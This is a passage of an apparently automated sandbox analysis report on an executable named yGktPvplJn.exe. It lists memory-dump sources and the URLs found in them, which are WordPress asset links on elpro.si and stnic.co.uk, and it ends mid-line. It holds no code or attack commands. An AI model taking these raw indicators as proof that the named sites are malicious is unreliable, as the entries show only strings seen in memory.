Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Linked-Grey.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Search-Grey.svg
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Search-White.svg
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/themes/elpro/js/functions.js?ver=1.0.0
Source: yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2713851145.00000000006E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header_new.svg
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: yGktPvplJn.exe, 00000000.00000003.2374869248.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2392479605.00000000034A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2724762512.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2710999039.00000000006E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2364490362.00000000044B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2726220759.0000000000720000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2372588752.0000000004470000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.elpro.si/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 